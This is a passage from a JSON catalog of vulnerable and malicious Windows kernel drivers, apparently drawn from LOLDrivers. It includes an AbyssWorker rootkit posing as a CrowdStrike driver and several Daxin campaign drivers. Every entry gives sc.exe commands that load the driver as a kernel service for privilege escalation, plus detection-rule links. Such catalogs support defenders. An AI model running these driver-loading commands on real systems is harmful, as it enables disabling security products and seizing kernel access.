    "description": "AbyssWorker rootkit masquerading as a CrowdStrike Falcon sensor driver (CSAgent.sys). Signed with a revoked certificate from Shenzhen yundian Technology Co., Ltd. This is a fully malicious driver that blinds security products by stripping handles, terminating processes, and removing notification callbacks. Identified in ESET EDR killers research (March 2026) deployed alongside Medusa ransomware via the HEARTCRYPT packer.",
    "execution": {
      "template": "sc.exe create CSAgent.sys binPath=C:\\windows\\temp\\CSAgent.sys type=kernel && sc.exe start CSAgent.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-csagent",
    "install": [
      {
        "method": "custom",
        "description": "Load CSAgent.sys kernel driver",
        "commands": [
          "sc.exe create CSAgent.sys binPath=C:\\windows\\temp\\CSAgent.sys type=kernel && sc.exe start CSAgent.sys"
        ]
      }
    ],
    "name": "CSAgent.sys",
    "namespace": "windows:kernel:csagent",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/en/eset-research/edr-killers-explained/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CSC.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CSC.sys type=kernel && sc.exe start CSC.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CSC.sys\"\n\n# CSC.sys\n\nImproper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code in the csc.sys driver\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-csc.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code in the csc.sys driver",
    "execution": {
      "template": "sc.exe create CSC.sys binPath=C:\\windows\\temp\\CSC.sys type=kernel && sc.exe start CSC.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-csc",
    "install": [
      {
        "method": "custom",
        "description": "Load CSC.sys kernel driver",
        "commands": [
          "sc.exe create CSC.sys binPath=C:\\windows\\temp\\CSC.sys type=kernel && sc.exe start CSC.sys"
        ]
      }
    ],
    "name": "CSC.sys",
    "namespace": "windows:kernel:csc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/varwara/CVE-2024-26229/tree/main"
      },
      {
        "label": "Reference",
        "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229"
      },
      {
        "label": "Reference",
        "url": "https://github.com/zer0condition/ZeroHVCI"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CtiIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CtiIo64.sys type=kernel && sc.exe start CtiIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CtiIo64.sys\"\n\n# CtiIo64.sys\n\nThe driver is part of Dragon Center (or MSI Center?) from MSI. It creates \\Device\\CtiIo ACLless DO and provides access to memory and IO. The driver is signed with WHQL cert.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ctiio64.md",
    "author": "zwclose",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The driver is part of Dragon Center (or MSI Center?) from MSI. It creates \\Device\\CtiIo ACLless DO and provides access to memory and IO. The driver is signed with WHQL cert.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create CtiIo64.sys binPath=C:\\windows\\temp\\CtiIo64.sys type=kernel && sc.exe start CtiIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "interactive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-ctiio64",
    "install": [
      {
        "method": "custom",
        "description": "Load CtiIo64.sys kernel driver",
        "commands": [
          "sc.exe create CtiIo64.sys binPath=C:\\windows\\temp\\CtiIo64.sys type=kernel && sc.exe start CtiIo64.sys"
        ]
      }
    ],
    "name": "CtiIo64.sys",
    "namespace": "windows:kernel:ctiio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/pull/81"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create CupFixerx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\CupFixerx64.sys type=kernel && sc.exe start CupFixerx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver CupFixerx64.sys\"\n\n# CupFixerx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cupfixerx64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create CupFixerx64.sys binPath=C:\\windows\\temp\\CupFixerx64.sys type=kernel && sc.exe start CupFixerx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-cupfixerx64",
    "install": [
      {
        "method": "custom",
        "description": "Load CupFixerx64.sys kernel driver",
        "commands": [
          "sc.exe create CupFixerx64.sys binPath=C:\\windows\\temp\\CupFixerx64.sys type=kernel && sc.exe start CupFixerx64.sys"
        ]
      }
    ],
    "name": "CupFixerx64.sys",
    "namespace": "windows:kernel:cupfixerx64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create cyvrlpc.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\cyvrlpc.sys type=kernel && sc.exe start cyvrlpc.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver cyvrlpc.sys\"\n\n# cyvrlpc.sys\n\nPer Sophos X-Ops research\n(Aug 06, 2025), threat actors deploy an EDR-killer that loads a malicious\nkernel driver (often with a random five-letter name) signed with\ncompromised or revoked code-signing certificates (e.g., Changsha Hengxiang\nInformation Technology; Fuzhou Dingxin Trade). The tool targets many\nsecurity products by killing their services and processes and is frequently\ndistributed packed with HeartCrypt by ransomware groups (e.g., RansomHub,\nINC). Driver names are hard-coded per sample (e.g., mraml.sys, noedt.sys).\n\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-cyvrlpc.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Per Sophos X-Ops research (Aug 06, 2025), threat actors deploy an EDR-killer that loads a malicious kernel driver (often with a random five-letter name) signed with compromised or revoked code-signing certificates (e.g., Changsha Hengxiang Information Technology; Fuzhou Dingxin Trade). The tool targets many security products by killing their services and processes and is frequently distributed packed with HeartCrypt by ransomware groups (e.g., RansomHub, INC). Driver names are hard-coded per ...",
    "execution": {
      "template": "sc.exe create cyvrlpc.sys binPath=C:\\windows\\temp\\cyvrlpc.sys type=kernel && sc.exe start cyvrlpc.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "encryption",
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-cyvrlpc",
    "install": [
      {
        "method": "custom",
        "description": "Load cyvrlpc.sys kernel driver",
        "commands": [
          "sc.exe create cyvrlpc.sys binPath=C:\\windows\\temp\\cyvrlpc.sys type=kernel && sc.exe start cyvrlpc.sys"
        ]
      }
    ],
    "name": "cyvrlpc.sys",
    "namespace": "windows:kernel:cyvrlpc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2025/08/06/shared-secret-edr-killer-in-the-kill-chain/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create d.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\d.sys type=kernel && sc.exe start d.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver d.sys\"\n\n# d.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-d.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create d.sys binPath=C:\\windows\\temp\\d.sys type=kernel && sc.exe start d.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-d",
    "install": [
      {
        "method": "custom",
        "description": "Load d.sys kernel driver",
        "commands": [
          "sc.exe create d.sys binPath=C:\\windows\\temp\\d.sys type=kernel && sc.exe start d.sys"
        ]
      }
    ],
    "name": "d.sys",
    "namespace": "windows:kernel:d",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create d2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\d2.sys type=kernel && sc.exe start d2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver d2.sys\"\n\n# d2.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-d2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create d2.sys binPath=C:\\windows\\temp\\d2.sys type=kernel && sc.exe start d2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-d2",
    "install": [
      {
        "method": "custom",
        "description": "Load d2.sys kernel driver",
        "commands": [
          "sc.exe create d2.sys binPath=C:\\windows\\temp\\d2.sys type=kernel && sc.exe start d2.sys"
        ]
      }
    ],
    "name": "d2.sys",
    "namespace": "windows:kernel:d2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create d3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\d3.sys type=kernel && sc.exe start d3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver d3.sys\"\n\n# d3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-d3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create d3.sys binPath=C:\\windows\\temp\\d3.sys type=kernel && sc.exe start d3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-d3",
    "install": [
      {
        "method": "custom",
        "description": "Load d3.sys kernel driver",
        "commands": [
          "sc.exe create d3.sys binPath=C:\\windows\\temp\\d3.sys type=kernel && sc.exe start d3.sys"
        ]
      }
    ],
    "name": "d3.sys",
    "namespace": "windows:kernel:d3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create d4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\d4.sys type=kernel && sc.exe start d4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver d4.sys\"\n\n# d4.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-d4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create d4.sys binPath=C:\\windows\\temp\\d4.sys type=kernel && sc.exe start d4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-d4",
    "install": [
      {
        "method": "custom",
        "description": "Load d4.sys kernel driver",
        "commands": [
          "sc.exe create d4.sys binPath=C:\\windows\\temp\\d4.sys type=kernel && sc.exe start d4.sys"
        ]
      }
    ],
    "name": "d4.sys",
    "namespace": "windows:kernel:d4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create d591004 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\d591004.sys type=kernel && sc.exe start d591004\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver d591004.sys\"\n\n# d591004.sys\n\nd591004.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-d591004.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "d591004.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create d591004 binPath=C:\\windows\\temp\\d591004.sys type=kernel && sc.exe start d591004",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-d591004",
    "install": [
      {
        "method": "custom",
        "description": "Load d591004.sys kernel driver",
        "commands": [
          "sc.exe create d591004 binPath=C:\\windows\\temp\\d591004.sys type=kernel && sc.exe start d591004"
        ]
      }
    ],
    "name": "d591004.sys",
    "namespace": "windows:kernel:d591004",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank.sys     type=kernel && sc.exe start daxin_blank.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank.sys\"\n\n# daxin_blank.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank.sys binPath=C:\\windows\\temp\\daxin_blank.sys     type=kernel && sc.exe start daxin_blank.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank.sys binPath=C:\\windows\\temp\\daxin_blank.sys     type=kernel && sc.exe start daxin_blank.sys"
        ]
      }
    ],
    "name": "daxin_blank.sys",
    "namespace": "windows:kernel:daxin-blank",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank1.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank1.sys     type=kernel && sc.exe start daxin_blank1.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank1.sys\"\n\n# daxin_blank1.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank1.sys binPath=C:\\windows\\temp\\daxin_blank1.sys     type=kernel && sc.exe start daxin_blank1.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank1",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank1.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank1.sys binPath=C:\\windows\\temp\\daxin_blank1.sys     type=kernel && sc.exe start daxin_blank1.sys"
        ]
      }
    ],
    "name": "daxin_blank1.sys",
    "namespace": "windows:kernel:daxin-blank1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank2.sys     type=kernel && sc.exe start daxin_blank2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank2.sys\"\n\n# daxin_blank2.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank2.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank2.sys binPath=C:\\windows\\temp\\daxin_blank2.sys     type=kernel && sc.exe start daxin_blank2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank2",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank2.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank2.sys binPath=C:\\windows\\temp\\daxin_blank2.sys     type=kernel && sc.exe start daxin_blank2.sys"
        ]
      }
    ],
    "name": "daxin_blank2.sys",
    "namespace": "windows:kernel:daxin-blank2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank3.sys     type=kernel && sc.exe start daxin_blank3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank3.sys\"\n\n# daxin_blank3.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank3.sys binPath=C:\\windows\\temp\\daxin_blank3.sys     type=kernel && sc.exe start daxin_blank3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank3",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank3.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank3.sys binPath=C:\\windows\\temp\\daxin_blank3.sys     type=kernel && sc.exe start daxin_blank3.sys"
        ]
      }
    ],
    "name": "daxin_blank3.sys",
    "namespace": "windows:kernel:daxin-blank3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank4.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank4.sys     type=kernel && sc.exe start daxin_blank4.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank4.sys\"\n\n# daxin_blank4.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank4.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank4.sys binPath=C:\\windows\\temp\\daxin_blank4.sys     type=kernel && sc.exe start daxin_blank4.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank4",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank4.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank4.sys binPath=C:\\windows\\temp\\daxin_blank4.sys     type=kernel && sc.exe start daxin_blank4.sys"
        ]
      }
    ],
    "name": "daxin_blank4.sys",
    "namespace": "windows:kernel:daxin-blank4",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create daxin_blank5.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\daxin_blank5.sys     type=kernel && sc.exe start daxin_blank5.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver daxin_blank5.sys\"\n\n# daxin_blank5.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-daxin-blank5.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "execution": {
      "template": "sc.exe create daxin_blank5.sys binPath=C:\\windows\\temp\\daxin_blank5.sys     type=kernel && sc.exe start daxin_blank5.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-daxin-blank5",
    "install": [
      {
        "method": "custom",
        "description": "Load daxin_blank5.sys kernel driver",
        "commands": [
          "sc.exe create daxin_blank5.sys binPath=C:\\windows\\temp\\daxin_blank5.sys     type=kernel && sc.exe start daxin_blank5.sys"
        ]
      }
    ],
    "name": "daxin_blank5.sys",
    "namespace": "windows:kernel:daxin-blank5",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
